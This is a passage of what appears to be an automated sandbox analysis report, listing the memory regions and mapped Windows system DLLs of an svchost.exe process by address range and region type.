0xcfffff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 1175 start_va = 0xde0000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 1176 start_va = 0xe70000 end_va = 0xeeffff entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 1177 start_va = 0xef0000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 1178 start_va = 0xf90000 end_va = 0x100ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 1179 start_va = 0x1010000 end_va = 0x12defff entry_point = 0x1010000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1180 start_va = 0x12f0000 end_va = 0x136ffff entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 1181 start_va = 0x1390000 end_va = 0x140ffff entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 1182 start_va = 0x1410000 end_va = 0x148ffff entry_point = 0x0 region_type = private name = "private_0x0000000001410000" filename = "" Region: id = 1183 start_va = 0x14c0000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 1184 start_va = 0x15b0000 end_va = 0x15bffff entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 1185 start_va = 0x15c0000 end_va = 0x163ffff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 1186 start_va = 0x1660000 end_va = 0x16dffff entry_point = 0x0 region_type = private name = "private_0x0000000001660000" filename = "" Region: id = 1187 start_va = 0x1700000 end_va = 0x177ffff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 1188 start_va = 0x17e0000 end_va = 0x185ffff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 1189 start_va = 0x1910000 end_va = 0x191ffff entry_point = 0x0 region_type = private name = "private_0x0000000001910000" filename = "" Region: id = 1190 start_va = 0x1920000 end_va = 0x199ffff entry_point = 0x0 region_type = private name = "private_0x0000000001920000" filename = "" Region: id = 1191 start_va = 0x1a60000 end_va = 0x1adffff entry_point = 0x0 region_type = private name = "private_0x0000000001a60000" filename = "" Region: id = 1192 start_va = 0x1b60000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001b60000" filename = "" Region: id = 1193 start_va = 0x1c60000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 1194 start_va = 0x1da0000 end_va = 0x1e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 1195 start_va = 0x1e30000 end_va = 0x1e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 1196 start_va = 0x1e40000 end_va = 0x1ebffff entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 1197 start_va = 0x2000000 end_va = 0x20fffff entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 1198 start_va = 0x21c0000 end_va = 0x22bffff entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 1199 start_va = 0x22c0000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 1200 start_va = 0x2410000 end_va = 0x248ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 1201 start_va = 0x24a0000 end_va = 0x24affff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 1202 start_va = 0x2550000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1203 start_va = 0x25d0000 end_va = 0x264ffff entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 1204 start_va = 0x2650000 end_va = 0x274ffff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 1205 start_va = 0x2750000 end_va = 0x284ffff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 1206 start_va = 0x2900000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 1207 start_va = 0x2910000 end_va = 0x2a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 1208 start_va = 0x2a90000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 1209 start_va = 0x2b10000 end_va = 0x330ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b10000" filename = "" Region: id = 1210 start_va = 0x3310000 end_va = 0x3447fff entry_point = 0x0 region_type = private name = "private_0x0000000003310000" filename = "" Region: id = 1211 start_va = 0x3ae0000 end_va = 0x3cdffff entry_point = 0x0 region_type = private name = "private_0x0000000003ae0000" filename = "" Region: id = 1212 start_va = 0x3ce0000 end_va = 0x40dffff entry_point = 0x0 region_type = private name = "private_0x0000000003ce0000" filename = "" Region: id = 1213 start_va = 0x40e0000 end_va = 0x48dffff entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 1214 start_va = 0x48e0000 end_va = 0x58affff entry_point = 0x0 region_type = private name = "private_0x00000000048e0000" filename = "" Region: id = 1215 start_va = 0x58b0000 end_va = 0x687ffff entry_point = 0x0 region_type = private name = "private_0x00000000058b0000" filename = "" Region: id = 1216 start_va = 0x73e50000 end_va = 0x73e52fff entry_point = 0x73e50000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 1217 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1218 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1219 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1220 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1221 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1222 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1223 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1224 start_va = 0x7fef6060000 end_va = 0x7fef609efff entry_point = 0x7fef6060000 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 1225 start_va = 0x7fef60a0000 end_va = 0x7fef60bbfff entry_point = 0x7fef60a0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1226 start_va = 0x7fef60c0000 end_va = 0x7fef6121fff entry_point = 0x7fef60c0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1227 start_va = 0x7fef6130000 end_va = 0x7fef6207fff entry_point = 0x7fef6130000 region_type = mapped_file name = "rasdlg.dll" filename = "\\Windows\\System32\\rasdlg.dll" (normalized: "c:\\windows\\system32\\rasdlg.dll") Region: id = 1228 start_va = 0x7fef6210000 end_va = 0x7fef626bfff entry_point = 0x7fef6210000 region_type = mapped_file name = "netman.dll" filename = "\\Windows\\System32\\netman.dll" (normalized: "c:\\windows\\system32\\netman.dll") Region: id = 1229 start_va = 0x7fef64c0000 end_va = 0x7fef674afff entry_point = 0x7fef64c0000 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 1230 start_va = 0x7fef6a70000 end_va = 0x7fef6b2cfff entry_point = 0x7fef6a70000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 1231 start_va = 0x7fef6c80000 end_va = 0x7fef6ceafff entry_point = 0x7fef6c80000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1232 start_va = 0x7fef6d90000 end_va = 0x7fef6e13fff entry_point = 0x7fef6d90000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1233 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1234 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1235 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1236 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1237 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1238 start_va = 0x7fef7560000 end_va = 0x7fef7581fff entry_point = 0x7fef7560000 region_type = mapped_file name = "trkwks.dll" filename = "\\Windows\\System32\\trkwks.dll" (normalized: "c:\\windows\\system32\\trkwks.dll") Region: id = 1239 start_va = 0x7fef75a0000 end_va = 0x7fef774dfff entry_point = 0x7fef75a0000 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 1240 start_va = 0x7fef7750000 end_va = 0x7fef7768fff entry_point = 0x7fef7750000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 1241 start_va = 0x7fef7770000 end_va = 0x7fef777ffff entry_point = 0x7fef7770000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 1242 start_va = 0x7fef7780000 end_va = 0x7fef7791fff entry_point = 0x7fef7780000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 1243 start_va = 0x7fef77a0000 end_va = 0x7fef77d1fff entry_point = 0x7fef77a0000 region_type = mapped_file name = "pcasvc.dll" filename = "\\Windows\\System32\\pcasvc.dll" (normalized: "c:\\windows\\system32\\pcasvc.dll") Region: id = 1244 start_va = 0x7fef8740000 end_va = 0x7fef87bbfff entry_point = 0x7fef8740000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1245 start_va = 0x7fefa4d0000 end_va = 0x7fefa526fff entry_point = 0x7fefa4d0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1246 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1247 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1248 start_va = 0x7fefafa0000 end_va = 0x7fefafaffff entry_point = 0x7fefafa0000 region_type = mapped_file name = "uxsms.dll" filename = "\\Windows\\System32\\uxsms.dll" (normalized: "c:\\windows\\system32\\uxsms.dll") Region: id = 1249 start_va = 0x7fefb040000 end_va = 0x7fefb04afff entry_point = 0x7fefb040000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1250 start_va = 0x7fefb050000 end_va = 0x7fefb05bfff entry_point = 0x7fefb050000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1251 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1252 start_va = 0x7fefb0d0000 end_va = 0x7fefb0e4fff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1253 start_va = 0x7fefb1c0000 end_va = 0x7fefb1fcfff entry_point = 0x7fefb1c0000 region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll") Region: id = 1254 start_va = 0x7fefb200000 end_va = 0x7fefb326fff entry_point = 0x7fefb200000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1255 start_va = 0x7fefb330000 end_va = 0x7fefb35ffff entry_point = 0x7fefb330000 region_type = mapped_file name = "peerdist.dll" filename = "\\Windows\\System32\\PeerDist.dll" (normalized: "c:\\windows\\system32\\peerdist.dll") Region: id = 1256 start_va = 0x7fefb360000 end_va = 0x7fefb40bfff entry_point = 0x7fefb360000 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 1257 start_va = 0x7fefb430000 end_va = 0x7fefb438fff entry_point = 0x7fefb430000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1258 start_va = 0x7fefb440000 end_va = 0x7fefb46bfff entry_point = 0x7fefb440000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1259 start_va = 0x7fefb470000 end_va = 0x7fefb51bfff entry_point = 0x7fefb470000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 1260 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1261 start_va = 0x7fefb550000 end_va = 0x7fefb55bfff entry_point = 0x7fefb550000 region_type = mapped_file name = "apphlpdm.dll" filename = "\\Windows\\System32\\Apphlpdm.dll" (normalized: "c:\\windows\\system32\\apphlpdm.dll") Region: id = 1262 start_va = 0x7fefb560000 end_va = 0x7fefb576fff entry_point = 0x7fefb560000 region_type = mapped_file name = "portabledeviceconnectapi.dll" filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceconnectapi.dll") Region: id = 1263 start_va = 0x7fefb670000 end_va = 0x7fefb680fff entry_point = 0x7fefb670000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1264 start_va = 0x7fefb760000 end_va = 0x7fefb799fff entry_point = 0x7fefb760000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1265 start_va = 0x7fefb940000 end_va = 0x7fefb950fff entry_point = 0x7fefb940000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1266 start_va = 0x7fefbaa0000 end_va = 0x7fefbad4fff entry_point = 0x7fefbaa0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1267 start_va = 0x7fefbb00000 end_va = 0x7fefbb4afff entry_point = 0x7fefbb00000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 1268 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1269 start_va = 0x7fefc0f0000 end_va = 0x7fefc2e3fff entry_point = 0x7fefc0f0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1270 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1271 start_va = 0x7fefc940000 end_va = 0x7fefc95afff entry_point = 0x7fefc940000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1272 start_va = 0x7fefc960000 end_va = 0x7fefc97dfff entry_point = 0x7fefc960000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1273 start_va = 0x7fefc980000 end_va = 0x7fefc991fff entry_point = 0x7fefc980000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1274 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1275 start_va = 0x7fefcac0000 end_va = 0x7fefcaccfff entry_point = 0x7fefcac0000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1276 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1277 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1278 start_va = 0x7fefd0a0000 end_va = 0x7fefd0cefff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1279 start_va = 0x7fefd0e0000 end_va = 0x7fefd14cfff entry_point = 0x7fefd0e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1280 start_va = 0x7fefd450000 end_va = 0x7fefd45afff entry_point = 0x7fefd450000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1281 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1282 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1283 start_va = 0x7fefd560000 end_va = 0x7fefd59cfff entry_point = 0x7fefd560000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1284 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1285 start_va = 0x7fefd5c0000 end_va = 0x7fefd5cefff entry_point = 0x7fefd5c0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1286 start_va = 0x7fefd660000 end_va = 0x7fefd66efff entry_point = 0x7fefd660000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1287 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1288 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1289 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f9fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1290 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1291 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1292 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1293 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1294 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1295 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1296 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1297 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1298 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1299 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1300 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1301 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1302 start_va = 0x7fefe360000 end_va = 0x7feff0e7fff entry_point = 0x7fefe360000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1303 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1304 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1305 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1306 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1307 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1308 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1309 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1310 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1311 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1312 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1313 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1314 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1315 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1316 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1317 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = 